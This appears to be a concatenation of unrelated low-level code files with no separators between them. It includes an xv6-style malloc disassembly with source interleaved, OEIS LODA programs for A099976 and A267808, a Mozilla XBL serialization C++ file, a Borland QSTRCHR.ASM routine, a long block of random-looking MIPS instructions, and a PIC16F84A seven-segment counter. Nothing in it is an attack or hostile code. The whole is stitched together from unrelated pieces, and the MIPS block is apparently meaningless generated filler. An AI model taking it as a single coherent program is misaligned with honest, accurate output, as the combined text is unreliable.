if(p->s.size >= nunits){ 6c2: 8b 78 04 mov 0x4(%eax),%edi 6c5: 39 fe cmp %edi,%esi 6c7: 76 4f jbe 718 <malloc+0x98> 6c9: 89 c2 mov %eax,%edx p->s.size = nunits; } freep = prevp; return (void*)(p + 1); } if(p == freep) 6cb: 3b 15 f0 09 00 00 cmp 0x9f0,%edx 6d1: 75 ed jne 6c0 <malloc+0x40> morecore(uint nu) { char *p; Header *hp; if(nu < 4096) 6d3: 8b 45 e4 mov -0x1c(%ebp),%eax 6d6: 81 fe 00 10 00 00 cmp $0x1000,%esi 6dc: bf 00 10 00 00 mov $0x1000,%edi 6e1: 0f 43 fe cmovae %esi,%edi 6e4: 0f 42 c3 cmovb %ebx,%eax nu = 4096; p = sbrk(nu * sizeof(Header)); 6e7: 89 04 24 mov %eax,(%esp) 6ea: e8 43 fc ff ff call 332 <sbrk> if(p == (char*)-1) 6ef: 83 f8 ff cmp $0xffffffff,%eax 6f2: 74 18 je 70c <malloc+0x8c> return 0; hp = (Header*)p; hp->s.size = nu; 6f4: 89 78 04 mov %edi,0x4(%eax) free((void*)(hp + 1)); 6f7: 83 c0 08 add $0x8,%eax 6fa: 89 04 24 mov %eax,(%esp) 6fd: e8 ee fe ff ff call 5f0 <free> return freep; 702: 8b 15 f0 09 00 00 mov 0x9f0,%edx } freep = prevp; return (void*)(p + 1); } if(p == freep) if((p = morecore(nunits)) == 0) 708: 85 d2 test %edx,%edx 70a: 75 b4 jne 6c0 <malloc+0x40> return 0; 70c: 31 c0 xor %eax,%eax 70e: eb 20 jmp 730 <malloc+0xb0> if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ 710: 89 d0 mov %edx,%eax 712: 89 da mov %ebx,%edx 714: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if(p->s.size == nunits) 718: 39 fe cmp %edi,%esi 71a: 74 1c je 738 <malloc+0xb8> prevp->s.ptr = p->s.ptr; else { p->s.size -= nunits; 71c: 29 f7 sub %esi,%edi 71e: 89 78 04 mov %edi,0x4(%eax) p += p->s.size; 721: 8d 04 f8 lea (%eax,%edi,8),%eax p->s.size = nunits; 724: 89 70 04 mov %esi,0x4(%eax) } freep = prevp; 727: 89 15 f0 09 00 00 mov %edx,0x9f0 return (void*)(p + 1); 72d: 83 c0 08 add $0x8,%eax } if(p == freep) if((p = morecore(nunits)) == 0) return 0; } } 730: 83 c4 1c add $0x1c,%esp 733: 5b pop %ebx 734: 5e pop %esi 735: 5f pop %edi 736: 5d pop %ebp 737: c3 ret base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ if(p->s.size >= nunits){ if(p->s.size == nunits) prevp->s.ptr = p->s.ptr; 738: 8b 08 mov (%eax),%ecx 73a: 89 0a mov %ecx,(%edx) 73c: eb e9 jmp 727 <malloc+0xa7> Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; 73e: c7 05 f0 09 00 00 f4 movl $0x9f4,0x9f0 745: 09 00 00 base.s.size = 0; 748: ba f4 09 00 00 mov $0x9f4,%edx Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; 74d: c7 05 f4 09 00 00 f4 movl $0x9f4,0x9f4 754: 09 00 00 base.s.size = 0; 757: c7 05 f8 09 00 00 00 movl $0x0,0x9f8 75e: 00 00 00 761: e9 46 ff ff ff jmp 6ac <malloc+0x2c>
; A099976: Bisection of A000984. ; 2,20,252,3432,48620,705432,10400600,155117520,2333606220,35345263800,538257874440,8233430727600,126410606437752,1946939425648112,30067266499541040,465428353255261088,7219428434016265740,112186277816662845432,1746130564335626209832,27217014869199032015600,424784580848791721628840,6637553085023755473070800,103827421287553411369671120,1625701140345170250548615520,25477612258980856902730428600,399608854866744452032002440112,6272525058612251449529907677520,98527218530093856775578873054432,1548655265692941410446222812934512,24356699707654619143838606602026720,383291933432261050330199012527412832 mul $0,2 mov $1,-2 sub $1,$0 bin $1,$0 mul $1,2 mov $0,$1
/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 4 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #include "nsXBLSerialize.h" #include "nsDOMScriptObjectHolder.h" #include "nsContentUtils.h" nsresult XBL_SerializeFunction(nsIScriptContext* aContext, nsIObjectOutputStream* aStream, JSObject* aFunctionObject) { JSContext* cx = aContext->GetNativeContext(); return nsContentUtils::XPConnect()->WriteFunction(aStream, cx, aFunctionObject); } nsresult XBL_DeserializeFunction(nsIScriptContext* aContext, nsIObjectInputStream* aStream, JSObject** aFunctionObjectp) { JSContext* cx = aContext->GetNativeContext(); return nsContentUtils::XPConnect()->ReadFunction(aStream, cx, aFunctionObjectp); }
;[]-----------------------------------------------------------------[] ;| QSTRCHR.ASM -- scans a string for a character (quick version) | ;[]-----------------------------------------------------------------[] DWALIGN equ 1 ; set to 1 to enable dword-aligning of string ; ; C/C++ Run Time Library - Version 10.0 ; ; Copyright (c) 1992, 2000 by Inprise Corporation ; All Rights Reserved. ; ; $Revision: 9.0 $ include RULES.ASI ; Segments Definitions Header@ ;----------------------------------------------------------------------- ; ;Name __strchr__ - scans a string for the first occurrence of a ; given character ; ;Usage char *__strchr__(const char *str, int c); ; ;Prototype in string.h ; ;Description __strchr__ scans a string in the forward direction, looking ; for a specific character. __strchr__ finds the first ; occurrence of the character ch in the string str. ; ; The null-terminator is considered ; to be part of the string, so that, for example ; ; __strchr__(strs, 0) ; ; returns a pointer to the terminating null character of the ; string "strs". ; ; NOTE: this is the "quick" version of strchr; it cheats ; by fetching 32-bit words, which can GP fault if the ; string is near the end of a memory region and DWALIGN ; is not set to 1 above. ; ;Return value __strchr__ returns a pointer to the first occurrence of the ; character ch in str; if ch does not occur in str, __strchr__ ; returns NULL. ; ;----------------------------------------------------------------------- Code_seg@ Func@ __strchr__, public, _RTLENTRYF, <pointer strng>, <int c> Link@ mov eax,strng ; get source string mov dl,c ; get char to search for if DWALIGN mov ecx, eax and ecx, 3 jmp jmptab[ecx*4] jmptab dd offset FLAT:fetch dd offset FLAT:fetch3 dd offset FLAT:fetch2 dd offset FLAT:fetch1 ; Fetch and compare three bytes fetch3: mov cl, [eax] cmp cl, dl je return0 or cl, cl jz notfound add eax, 1 ; Fetch and compare two bytes fetch2: mov cl, [eax] cmp cl, dl je return0 or cl, cl jz notfound add eax, 1 ; Fetch and compare one byte fetch1: mov cl, [eax] cmp cl, dl je return0 or cl, cl jz notfound add eax, 1 ; jmp fetch endif ; DWALIGN fetch: mov ecx, [eax] ; get next longword cmp cl, dl ; check byte 0 je return0 or cl, cl jz notfound cmp ch, dl ; check byte 1 je return1 or ch, ch jz notfound shr ecx, 16 ; now check high bytes cmp cl, dl ; check byte 2 je return2 or cl, cl jz notfound cmp ch, dl ; check byte 3 je return3 or ch, ch jz notfound add eax, 4 jmp fetch notfound: xor eax, eax ; not found, return NULL Unlink@ Return@ return3: add eax, 3 Unlink@ Return@ return2: add eax, 2 Unlink@ Return@ return1: inc eax return0: Unlink@ Return@ EndFunc@ __strchr__ Code_EndS@ end
srl $0,$3,4 nor $1,$4,$3 srl $4,$4,7 xor $6,$6,$3 lw $5,12($0) addu $3,$5,$3 lb $3,11($0) xori $1,$5,46242 srlv $4,$3,$3 addiu $1,$6,-28248 sra $3,$3,9 sw $4,8($0) lh $3,4($0) sll $3,$4,25 addiu $5,$5,4415 subu $0,$5,$3 lh $5,12($0) srav $5,$1,$3 addu $4,$3,$3 addu $3,$4,$3 lhu $3,6($0) sltiu $4,$5,-17349 sra $0,$5,4 ori $0,$6,35094 nor $0,$3,$3 or $4,$4,$3 sllv $0,$5,$3 slt $1,$1,$3 sltu $5,$4,$3 lw $2,16($0) and $3,$3,$3 slt $3,$0,$3 lh $5,4($0) srav $1,$4,$3 lb $6,4($0) srav $5,$3,$3 addu $1,$2,$3 lbu $3,1($0) lw $4,4($0) addu $4,$3,$3 subu $3,$3,$3 lb $1,1($0) lh $4,4($0) xor $4,$3,$3 addiu $6,$3,23632 subu $4,$3,$3 lh $1,16($0) addu $3,$1,$3 sltu $3,$4,$3 or $1,$3,$3 sh $4,16($0) addu $3,$4,$3 or $0,$3,$3 addiu $4,$4,5545 lb $4,9($0) sltu $1,$1,$3 andi $3,$3,50193 sw $4,4($0) nor $5,$5,$3 lw $6,0($0) addu $6,$1,$3 lh $3,0($0) sltiu $3,$5,22737 xori $5,$4,45633 subu $6,$6,$3 lw $4,12($0) sw $3,4($0) lh $6,8($0) or $4,$5,$3 slt $4,$1,$3 xor $0,$6,$3 sltu $6,$6,$3 lw $3,0($0) srav $4,$4,$3 slt $3,$3,$3 sra $4,$4,21 addiu $3,$4,6176 xori $3,$4,25448 srlv $3,$3,$3 sltu $1,$0,$3 ori $5,$6,2565 sllv $3,$4,$3 sllv $5,$1,$3 srav $3,$1,$3 or $3,$4,$3 lb $4,4($0) sb $5,15($0) sw $1,12($0) sw $1,0($0) addu $3,$2,$3 slti $3,$4,-15995 sh $4,14($0) sll $3,$3,5 lbu $3,14($0) srl $0,$4,17 sllv $0,$5,$3 sh $3,14($0) xor $1,$4,$3 srl $3,$5,25 sltiu $3,$3,17580 sb $4,1($0) lw $6,16($0) xori $0,$0,46115 andi $4,$4,50655 sltiu $3,$4,20589 ori $3,$4,10268 sra $5,$2,31 sllv $0,$0,$3 slti $1,$3,27670 subu $6,$5,$3 srav $1,$4,$3 lbu $5,10($0) ori $5,$3,12898 or $4,$4,$3 srlv $4,$3,$3 sll $5,$6,24 srl $3,$4,28 lh $0,10($0) srav $1,$0,$3 srav $3,$0,$3 xori $0,$0,9888 sra $3,$4,16 xor $4,$4,$3 addu $0,$3,$3 slt $5,$3,$3 and $4,$4,$3 andi $3,$1,27817 srl $3,$1,23 lbu $6,2($0) xori $5,$4,23783 sra $6,$5,18 sra $4,$3,13 sltu $3,$1,$3 andi $3,$1,58367 srlv $3,$3,$3 slt $4,$3,$3 ori $3,$3,8827 addu $3,$3,$3 sra $5,$1,13 subu $3,$2,$3 subu $4,$2,$3 lw $3,8($0) lw $4,8($0) addu $0,$0,$3 subu $4,$0,$3 lh $3,8($0) sh $0,6($0) subu $4,$4,$3 srl $3,$3,6 nor $4,$5,$3 lb $5,8($0) sh $6,4($0) sll $5,$4,5 ori $0,$0,7652 addu $3,$5,$3 srav $3,$3,$3 subu $3,$3,$3 sra $3,$3,31 addu $6,$4,$3 lw $3,12($0) srav $4,$4,$3 srav $3,$5,$3 addu $1,$0,$3 nor $4,$0,$3 subu $4,$4,$3 lb $6,5($0) andi $1,$5,59677 sra $5,$5,17 subu $3,$4,$3 xor $4,$3,$3 subu $5,$0,$3 lbu $6,13($0) andi $5,$3,55952 sw $3,16($0) subu $5,$1,$3 andi $4,$0,64552 sll $0,$0,9 nor $3,$3,$3 sllv $1,$3,$3 slti $5,$5,13782 sllv $0,$5,$3 xor $3,$5,$3 lh $5,0($0) addu $5,$3,$3 and $4,$3,$3 andi $3,$1,18533 xori $0,$2,14340 subu $3,$1,$3 subu $4,$4,$3 addiu $3,$1,-19648 sllv $0,$6,$3 slti $4,$4,-11537 slt $5,$4,$3 sw $1,12($0) lb $3,1($0) addiu $0,$1,13119 or $4,$4,$3 sb $4,4($0) ori $1,$4,706 sh $3,6($0) sllv $0,$2,$3 sllv $4,$4,$3 srlv $3,$3,$3 srav $3,$4,$3 sltu $5,$1,$3 sb $4,5($0) addu $5,$1,$3 or $1,$5,$3 addu $0,$4,$3 lw $5,8($0) xori $5,$4,2778 lw $4,0($0) lb $3,10($0) slti $5,$5,3689 srlv $1,$4,$3 lh $3,8($0) srl $3,$1,11 sb $1,3($0) addiu $5,$5,1675 andi $5,$3,35539 addu $5,$3,$3 and $5,$3,$3 lhu $5,4($0) andi $3,$4,2650 lh $4,4($0) srlv $4,$4,$3 slti $1,$5,18593 xori $3,$3,5108 slti $1,$1,12681 or $4,$4,$3 sb $4,0($0) lh $3,6($0) addiu $1,$1,-25410 subu $1,$3,$3 subu $6,$0,$3 sw $0,0($0) sw $4,8($0) subu $6,$0,$3 addiu $3,$1,-12828 sw $5,16($0) and $4,$4,$3 slt $1,$3,$3 slti $3,$1,-15125 slt $1,$1,$3 and $4,$0,$3 subu $4,$3,$3 sb $3,7($0) lb $5,16($0) sltiu $4,$4,31733 xor $4,$5,$3 srl $0,$4,19 sll $3,$3,30 slt $5,$5,$3 addu $3,$4,$3 sll $3,$3,26 addiu $4,$3,-5800 lbu $6,5($0) sra $4,$4,26 lb $3,1($0) subu $3,$3,$3 or $4,$3,$3 nor $3,$5,$3 addiu $5,$4,6328 addiu $1,$4,6199 sltiu $5,$0,-29009 srav $6,$5,$3 srl $5,$5,8 lh $4,16($0) srav $5,$3,$3 sra $3,$5,19 addu $4,$6,$3 sll $0,$0,18 slti $0,$1,-739 addiu $6,$3,-7499 sll $1,$6,27 sra $3,$3,20 and $4,$4,$3 lhu $3,6($0) lw $1,4($0) subu $3,$3,$3 or $3,$1,$3 subu $6,$3,$3 ori $1,$1,54859 srl $3,$4,17 sh $0,4($0) sltu $4,$6,$3 sh $3,12($0) lw $5,4($0) addu $5,$5,$3 lh $1,16($0) lb $6,2($0) xori $4,$4,57739 addu $3,$3,$3 ori $4,$1,1878 nor $6,$4,$3 slti $5,$0,11073 and $3,$3,$3 sllv $3,$3,$3 sh $4,4($0) sltiu $5,$3,-4952 or $5,$5,$3 slti $1,$5,3273 subu $5,$5,$3 addiu $4,$5,24297 srl $4,$4,12 sll $1,$1,17 xori $0,$3,39544 addiu $3,$3,7336 sw $3,16($0) sh $1,14($0) nor $0,$4,$3 sh $5,0($0) xori $3,$3,55072 sb $4,5($0) sw $3,4($0) andi $0,$0,2393 srlv $4,$4,$3 srl $4,$0,12 ori $4,$4,59990 sltu $5,$0,$3 sll $0,$1,30 sltiu $3,$1,-32046 addiu $3,$4,-31246 xor $6,$6,$3 slt $3,$3,$3 and $3,$3,$3 or $5,$4,$3 sw $4,0($0) addu $5,$3,$3 addiu $3,$3,-7412 andi $3,$3,9814 addiu $4,$3,-1355 ori $3,$4,46709 subu $3,$3,$3 addu $6,$3,$3 andi $3,$1,23875 srlv $4,$3,$3 addu $3,$3,$3 addiu $0,$3,-23702 sb $5,13($0) subu $1,$3,$3 lw $3,16($0) sll $0,$1,19 lbu $4,11($0) xori $4,$5,44196 subu $0,$1,$3 sra $3,$3,8 sll $3,$2,8 xor $4,$4,$3 nor $3,$3,$3 lw $3,12($0) slti $1,$5,-9910 srl $0,$1,3 srav $6,$6,$3 sll $1,$3,8 ori $3,$3,57614 lw $4,16($0) lbu $5,4($0) sw $0,8($0) addu $3,$0,$3 xor $4,$1,$3 sra $5,$5,23 nor $4,$4,$3 sltu $3,$0,$3 addiu $3,$5,-4369 subu $4,$3,$3 lhu $3,16($0) addiu $0,$2,32192 slt $6,$1,$3 sh $3,8($0) sll $6,$6,5 addiu $3,$1,26282 slt $5,$0,$3 xor $1,$3,$3 nor $5,$6,$3 addiu $4,$4,32593 lbu $3,12($0) sh $6,0($0) ori $4,$4,5434 ori $3,$1,5041 lh $3,12($0) sltiu $5,$5,-14427 xori $0,$3,62664 addiu $3,$3,280 addu $6,$6,$3 sll $3,$0,29 xori $4,$3,8293 lbu $1,6($0) ori $1,$3,17153 ori $3,$3,19862 addu $3,$6,$3 sllv $5,$3,$3 sltiu $0,$0,16436 sb $6,3($0) addiu $4,$5,22678 ori $4,$0,48733 addiu $3,$3,-30381 slt $1,$4,$3 ori $0,$1,43562 ori $4,$6,64296 addiu $5,$1,-20276 lh $5,10($0) subu $3,$4,$3 lhu $0,12($0) srl $4,$1,16 sllv $3,$4,$3 lb $4,8($0) sll $4,$1,8 sllv $3,$4,$3 sb $0,13($0) sltiu $4,$1,-4370 xori $1,$6,4309 sb $6,16($0) or $6,$1,$3 sltiu $4,$0,-2074 lw $4,12($0) xor $6,$1,$3 xor $5,$3,$3 xor $5,$5,$3 addiu $3,$1,27634 addu $4,$4,$3 or $1,$4,$3 srav $0,$0,$3 lb $3,3($0) nor $3,$5,$3 addu $1,$1,$3 subu $3,$3,$3 addiu $3,$3,-29729 sll $6,$6,8 lw $3,8($0) srav $3,$6,$3 and $1,$1,$3 addu $3,$3,$3 addu $3,$3,$3 subu $4,$6,$3 srl $4,$3,28 lbu $3,12($0) lb $4,14($0) andi $1,$5,16114 slt $4,$1,$3 lhu $3,4($0) lw $1,16($0) srav $4,$1,$3 addiu $4,$0,-3615 srav $0,$3,$3 addu $4,$4,$3 slti $3,$3,25350 lh $5,16($0) lw $4,0($0) nor $5,$1,$3 or $6,$6,$3 sltiu $4,$1,-6764 lw $1,16($0) srav $0,$3,$3 sll $5,$5,21 lb $3,12($0) or $4,$0,$3 or $4,$3,$3 sra $3,$3,21 lbu $3,6($0) sltu $1,$1,$3 nor $6,$5,$3 andi $6,$3,44428 ori $4,$4,52705 sltiu $1,$2,12749 sb $3,5($0) sltiu $3,$4,-20634 lh $6,14($0) and $1,$1,$3 lb $6,6($0) srlv $1,$3,$3 sb $0,2($0) lhu $1,4($0) lhu $4,10($0) and $3,$0,$3 addu $1,$4,$3 or $4,$4,$3 lbu $4,3($0) lw $1,16($0) lb $0,5($0) addu $4,$6,$3 lh $5,14($0) lb $1,12($0) sw $4,16($0) sll $6,$5,2 and $0,$3,$3 sw $6,4($0) addiu $0,$0,-8667 sllv $3,$3,$3 xori $3,$4,20257 ori $4,$0,30115 addu $4,$3,$3 addiu $5,$5,24233 srav $5,$5,$3 and $1,$5,$3 sllv $6,$4,$3 subu $4,$4,$3 ori $3,$0,29799 sltiu $4,$6,23332 xor $0,$0,$3 sll $3,$3,23 addu $4,$3,$3 addu $3,$3,$3 addu $3,$3,$3 slt $1,$3,$3 lbu $3,9($0) lb $1,1($0) lh $6,0($0) sh $1,0($0) sltiu $6,$3,-25077 sltu $3,$2,$3 addu $4,$1,$3 addiu $5,$3,-23259 lh $3,2($0) addiu $6,$5,-11143 slti $1,$1,22892 sll $3,$3,1 addu $4,$3,$3 nor $5,$5,$3 addu $0,$3,$3 sltu $1,$5,$3 sb $3,12($0) sb $3,1($0) lb $3,11($0) lw $0,12($0) sw $4,12($0) xori $0,$3,35834 srlv $3,$3,$3 sltu $1,$5,$3 slt $0,$3,$3 lb $3,15($0) subu $3,$3,$3 sll $5,$1,8 lw $1,0($0) lh $3,0($0) addiu $6,$0,-31721 sll $5,$1,4 addiu $3,$2,-15606 slti $5,$4,-17357 addiu $3,$4,-27704 andi $5,$4,9763 lhu $6,2($0) lw $4,4($0) slt $4,$3,$3 addu $3,$3,$3 sb $3,14($0) sltiu $3,$5,18120 slt $3,$4,$3 nor $5,$5,$3 srav $4,$6,$3 lhu $5,2($0) addiu $4,$0,17128 lb $3,1($0) lw $4,0($0) sltu $6,$4,$3 subu $6,$6,$3 lw $4,4($0) xor $5,$1,$3 lh $3,0($0) or $1,$1,$3 lhu $5,12($0) and $1,$0,$3 sw $1,12($0) sh $4,16($0) addu $1,$3,$3 lb $6,2($0) lw $3,8($0) srl $5,$5,31 srl $3,$3,25 lbu $3,4($0) xor $3,$1,$3 or $5,$5,$3 sltiu $3,$4,28125 addiu $4,$1,-8125 addiu $5,$2,2451 sh $3,0($0) sb $0,15($0) sh $4,2($0) and $3,$0,$3 xori $1,$1,34926 lbu $1,5($0) lbu $4,15($0) xor $5,$5,$3 srl $3,$3,23 or $3,$1,$3 and $1,$4,$3 sll $4,$4,29 slt $3,$3,$3 sltu $5,$3,$3 or $5,$6,$3 slti $1,$1,-29375 lh $5,14($0) sb $4,2($0) slt $4,$1,$3 slt $5,$5,$3 lw $4,8($0) subu $1,$2,$3 addiu $4,$3,-15200 addiu $3,$6,15874 xori $1,$3,50087 andi $1,$6,62103 lw $4,4($0) slt $5,$4,$3 addiu $1,$1,27018 sllv $3,$1,$3 slt $3,$3,$3 addiu $5,$5,29850 nor $2,$2,$3 sh $3,14($0) slti $4,$4,-1656 srlv $4,$3,$3 sra $4,$3,31 lb $3,13($0) ori $3,$5,61696 sltu $6,$6,$3 and $3,$3,$3 sltu $1,$3,$3 sll $5,$6,27 or $5,$2,$3 sw $1,16($0) subu $3,$3,$3 sb $6,4($0) subu $4,$5,$3 lh $4,10($0) srav $4,$6,$3 srav $0,$1,$3 lh $6,8($0) sllv $3,$1,$3 addu $3,$0,$3 sllv $3,$1,$3 ori $1,$1,62696 slt $3,$3,$3 lh $3,0($0) lh $4,2($0) sw $1,16($0) sll $1,$1,21 sllv $5,$5,$3 addiu $5,$5,22948 sw $3,12($0) subu $0,$4,$3 andi $6,$6,39261 addu $5,$4,$3 srlv $3,$1,$3 lw $4,4($0) sltu $0,$4,$3 or $1,$4,$3 nor $1,$1,$3 addu $4,$3,$3 addu $1,$1,$3 sw $5,12($0) andi $5,$1,22959 sltu $5,$1,$3 addiu $4,$5,-17673 xor $4,$1,$3 addiu $1,$1,-15307 srlv $6,$3,$3 subu $3,$1,$3 lh $4,14($0) sllv $3,$3,$3 lbu $4,14($0) subu $1,$3,$3 lb $3,10($0) and $0,$3,$3 sllv $4,$4,$3 addiu $6,$3,15022 ori $3,$1,7841 sra $5,$0,2 ori $1,$0,38676 addiu $6,$4,28260 sw $5,16($0) srl $6,$3,31 srav $3,$3,$3 xor $6,$3,$3 addiu $1,$1,9486 addu $0,$5,$3 lh $6,8($0) lhu $3,0($0) slti $3,$3,9030 sh $5,14($0) sw $4,8($0) xor $4,$4,$3 lh $3,4($0) sll $1,$3,2 andi $3,$3,35507 sh $5,14($0) srav $1,$3,$3 xori $5,$3,57366 srav $1,$5,$3 sh $1,12($0) sltiu $6,$1,26969 lw $4,0($0) and $4,$6,$3 addu $1,$1,$3 sltu $0,$3,$3 srl $3,$0,14 lw $4,8($0) lw $4,0($0) slti $4,$3,-25762 lhu $4,16($0) lh $6,16($0) ori $4,$4,34899 and $1,$3,$3 addiu $0,$4,-15066 xori $5,$3,10329 lw $3,12($0) addu $3,$3,$3 addiu $5,$6,-5010 sra $5,$1,31 nor $5,$5,$3 addu $4,$4,$3 sllv $1,$1,$3 sw $3,4($0) ori $0,$5,20534 andi $1,$5,21361 addu $6,$4,$3 addiu $4,$1,-9852 lhu $5,2($0) sra $3,$0,20 subu $1,$5,$3 sb $6,15($0) sltiu $3,$1,11433 slt $4,$0,$3 slti $3,$3,30177 slti $1,$1,-31978 or $3,$4,$3 sra $4,$3,28 lb $3,2($0) sw $4,8($0) nor $0,$3,$3 srlv $0,$0,$3 lb $4,11($0) addu $1,$5,$3 lh $3,10($0) subu $6,$6,$3 addu $3,$0,$3 lbu $4,8($0) slt $5,$3,$3 sb $4,1($0) lbu $0,14($0) sltu $4,$4,$3 srlv $0,$4,$3 and $4,$5,$3 lbu $5,14($0) srlv $3,$1,$3 srl $4,$4,5 ori $5,$5,4811 lb $0,7($0) sll $3,$0,16 ori $1,$1,14260 addu $3,$4,$3 sltiu $3,$2,12058 sw $3,16($0) srlv $4,$2,$3 subu $6,$6,$3 srl $5,$3,25 subu $0,$0,$3 subu $6,$0,$3 sltiu $4,$4,8934 sw $5,4($0) addu $6,$3,$3 slti $5,$0,-11704 and $3,$3,$3 subu $6,$6,$3 xori $1,$1,43851 srl $4,$4,26 sh $5,6($0) sb $3,8($0) lw $5,4($0) nor $0,$3,$3 lb $6,13($0) ori $0,$3,5699 lw $1,12($0) srlv $3,$3,$3 lh $4,8($0) slti $4,$0,-31617 lh $4,12($0) addiu $3,$3,2881 addiu $3,$3,20528 and $3,$4,$3 xori $3,$1,7925 andi $3,$1,13343 lb $5,11($0) sw $1,8($0) slti $4,$3,8281 lbu $5,1($0) addu $3,$3,$3 ori $5,$3,3690 sb $4,4($0) sltiu $4,$3,-8663 srlv $6,$6,$3 and $5,$5,$3 addu $4,$3,$3 lh $1,6($0) lb $4,12($0) sh $0,2($0) slt $3,$0,$3 ori $3,$3,34289 sw $1,12($0) slt $3,$5,$3 subu $4,$3,$3 xor $3,$1,$3 lbu $5,3($0) lw $4,8($0) sltu $5,$0,$3 subu $5,$1,$3 srlv $1,$3,$3 sw $0,0($0) slti $6,$6,-5342 srlv $4,$3,$3 addiu $3,$3,114 lbu $4,12($0) sra $5,$1,27 and $4,$1,$3 srav $1,$3,$3 sltu $4,$3,$3 sw $6,0($0) and $4,$5,$3 lh $4,14($0) slt $3,$2,$3 sra $3,$3,16 xori $1,$3,17184 lh $5,12($0) srl $5,$4,13 sw $4,12($0) sb $5,16($0) sw $4,0($0) sh $3,10($0) lh $4,16($0) srl $3,$4,19 srav $3,$5,$3 srlv $4,$5,$3 ori $6,$6,34767 sw $3,8($0) addu $1,$3,$3 slti $5,$3,-31838 addu $4,$1,$3 subu $3,$5,$3 addu $3,$3,$3 addu $1,$1,$3 lw $3,4($0) addiu $2,$2,10342 sltu $3,$5,$3 addu $4,$3,$3 lh $3,10($0) subu $1,$5,$3 sb $0,14($0) slt $5,$6,$3 sb $4,2($0) slt $4,$3,$3 lbu $3,12($0) sra $1,$3,13 addu $3,$3,$3 and $1,$4,$3 addu $1,$0,$3 subu $5,$3,$3 addu $3,$5,$3 slt $0,$0,$3 addiu $0,$0,-26980 lbu $3,1($0) lb $0,12($0) lh $3,12($0) subu $3,$1,$3 lhu $2,6($0) addiu $3,$3,998 addu $4,$3,$3 subu $6,$4,$3 nor $3,$4,$3 addiu $3,$4,-17174 slt $0,$0,$3 lh $4,8($0) addu $4,$1,$3 sll $3,$3,8 sll $3,$3,27 sh $1,0($0) srl $3,$3,27 sw $4,4($0) or $3,$6,$3 subu $4,$1,$3 or $4,$4,$3 srlv $3,$5,$3 andi $5,$5,11726 sltiu $5,$5,-3637 lb $6,1($0) subu $6,$3,$3 addu $6,$4,$3 sw $3,8($0) addu $3,$3,$3 lb $3,2($0)
LIST P = 16F84A #include "p16f84A.inc" __CONFIG _FOSC_XT & _WDTE_OFF & _PWRTE_ON & _CP_OFF ;******************************************************************************* ; INICIO DEL PROGRAMA ;******************************************************************************* ORG 0X00 GOTO START ;******************************************************************************* ; DEFINICION DE VARIABLES ;******************************************************************************* Unidad equ 0x0C Decena equ 0x0D Centena equ 0x0E ; Contadores Contador equ 0x0F Contador1 equ 0x10 Contador2 equ 0x11 ; Banderas MuestroU equ 2 MuestroD equ 1 MuestroC equ 0 ;******************************************************************************* ; INICIO DEL PROGRAMA ;******************************************************************************* ; Tabla de conversion BCD a 7 Segmentos ORG 0X05 BCD7SEG addwf PCL, 1 DT 0x3F, 0x06, 0x5B, 0x4F, 0x66, 0x6D, 0x7D, 0x07, 0xFF, 0x6F START BSF STATUS, RP0 CLRF TRISA CLRF TRISB BCF STATUS, RP0 CLRF PORTA CLRF Unidad CLRF Decena CLRF Centena GOTO ActualizarDisplay ;************************************************************** ; CHEQUEO DE PULSADORES ;************************************************************** Ciclo INCF Unidad, 1 MOVLW d'10' SUBWF Unidad, 0 BTFSS STATUS, Z GOTO ActualizarDisplay CLRF Unidad INCF Decena, 1 MOVLW d'10' SUBWF Decena, 0 BTFSS STATUS, Z GOTO ActualizarDisplay CLRF Decena INCF Centena, 1 MOVLW d'10' SUBWF Centena, 0 BTFSS STATUS, Z GOTO ActualizarDisplay CLRF Centena ; *********************************************************** ; MULTIPLEXO LOS DISPLAY ;************************************************************ ActualizarDisplay MOVLW d'20' MOVWF Contador Refrescar MOVFW Unidad CALL BCD7SEG BCF PORTA, MuestroC MOVWF PORTB BSF PORTA, MuestroU CALL Esperar_5ms MOVFW Decena CALL BCD7SEG BCF PORTA, MuestroU MOVWF PORTB BSF PORTA, MuestroD CALL Esperar_5ms MOVFW Centena CALL BCD7SEG BCF PORTA, MuestroD MOVWF PORTB BSF PORTA, MuestroC CALL Esperar_5ms DECFSZ Contador, 1 GOTO Ciclo GOTO Refrescar ;*************************************************************** ; Function de esperar 5 mS ;*************************************************************** Esperar_5ms MOVLW 0xFF MOVWF Contador1 Repeticion1 MOVLW 0x05 MOVWF Contador2 Repeticion2 DECFSZ Contador2, 1 GOTO Repeticion2 DECFSZ Contador1, 1 GOTO Repeticion1 return END
; A267808: a(0) = a(1) = 1; for n>1, a(n) = (a(n-1) mod 4) + a(n-2). ; 1,1,2,3,5,4,5,5,6,7,9,8,9,9,10,11,13,12,13,13,14,15,17,16,17,17,18,19,21,20,21,21,22,23,25,24,25,25,26,27,29,28,29,29,30,31,33,32,33,33,34,35,37,36,37,37,38,39,41,40,41,41,42,43,45,44,45,45,46,47,49 mov $3,2 mov $5,$0 lpb $3,1 mov $0,$5 sub $3,1 add $0,$3 sub $0,1 mov $4,$0 pow $0,2 div $0,3 lpb $4,1 add $0,2 sub $4,6 lpe mov $2,$3 mov $6,$0 lpb $2,1 mov $1,$6 sub $2,1 lpe lpe lpb $5,1 sub $1,$6 mov $5,0 lpe add $1,1
